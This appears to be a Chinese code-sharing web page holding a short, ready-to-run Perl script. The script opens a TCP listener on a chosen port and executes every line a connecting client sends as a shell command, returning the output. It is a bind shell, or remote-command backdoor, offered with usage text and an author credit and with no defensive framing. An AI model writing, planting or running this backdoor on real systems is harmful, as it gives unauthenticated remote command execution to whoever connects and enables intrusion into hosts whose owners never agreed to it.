注册
登录
| 关键词： nbsp Server answer client cmd print port exit LocalPort tcp |
#!usr/bin/Perl#Server(Used for cmd)use IO::Socket::INET;if($#ARGV<0){print "\nUseage perl fileName port! \n Made by 孤水绕城";exit(1);}$server_port=$ARGV[0];$server=IO::Socket::INET->new(LocalPort=>$server_port,Type=>SOCK_STREAM,Proto=>'tcp',Reuse=>1,Listen=>10)or die "couldn't be a tcp server on port $server_port:$!\n";$client=$server->accept(); print $client "CMD>#";while($client){$answer=<$client>;print "$answer";chomp($answer); #去除接收命令后面的回车符if($answer eq "exit"){ close($server); exit(1);}else{ @cmd=`$answer`; print $client "@cmd\n CMD>#"; print @cmd;} } |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
